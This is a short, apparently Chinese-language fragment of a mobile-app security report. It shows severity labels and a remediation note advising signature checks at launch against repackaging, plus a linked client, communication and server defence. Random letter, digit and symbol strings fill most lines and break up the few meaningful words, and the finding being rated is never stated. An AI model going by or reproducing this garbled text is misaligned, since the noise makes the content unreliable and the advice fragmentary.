# C- |& x$ u3 S 严重程度 . [* q9 s! F) u0 k ]6 l/ x	m+ v$ Q, v9 ]! [( v: R* k 高 " `' z( K$ p' |) B7 J) }4 } 0 v6 ?9 I& ^ T" b; D" { 0 E Q/ t9 v8 T6 L, F6 t0 k! O	/ A" Q4 a- b; l $ z7 G. C; E- u- Z7 F0 C ' D) l) `- }/ b4 O. C - R6 f/ V$ @" s! I ■ & k7 Q* g# _! K3 a3 d+ ^	& j! Q4 p' @0 I" U 中	3 z2 r# S2 v7 D9 X! I ! ?9 D, v; M( b) U& b   0 K. C' P% I2 M9 d- y * w6 y# @4 T# ~ d- E+ s2 \ : L7 G$ y5 K! c- u3 ~. G+ s/ v ; k# p. e# L; I	: R+ J2 k) G- D E* d$ v) m2 d 7 m* W% u: l3 ?& K 低 ( |+ W4 }7 u/ C 8 V6 o B, E, _	2 z2 |0 i4 L% ^5 l 6 V6 R( Z* A! X P# a. M- g L8 }# `5 t+ v1 E D+ b/ {   & h; w# a* ?5 f0 c! H , u. x/ ^# {0 Q3 Z3 E# U- Q* q( ~ + p4 Q, X# F" V" D

3 V5 x" r# A; d0 [0 s

! T$ Z [3 @( \0 L# d

  R, ~6 z1 x7 R" O, L' o/ ` 5 z% K6 L' }, h9 u6 s

& m G, Z7 v) C9 {+ H% z

: K$ Q8 k" T- ]$ j) V" L* k 修复方法： 0 U; T3 K& u5 j7 l3 u

/ N4 e! c+ `: h8 ]2 {4 a

0 r M$ m. K3 i/ @ & m& `. G; E& j$ V& L               1.在 APP 启动时应做签名校验防止二次打包。
4 U7 z w/ \* G; ^ 8 {$ \& m5 B- G; q 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

! E3 E% {- m/ a. W + Z' ~4 ~) c. ]1 ~

  3 k! o5 |% D. C" J+ Y

1 ~! l' X( S6 }( j& Y 6 [# g: w) b# X. \# p) p

1 i. f X+ }$ W: o% _6 z1 T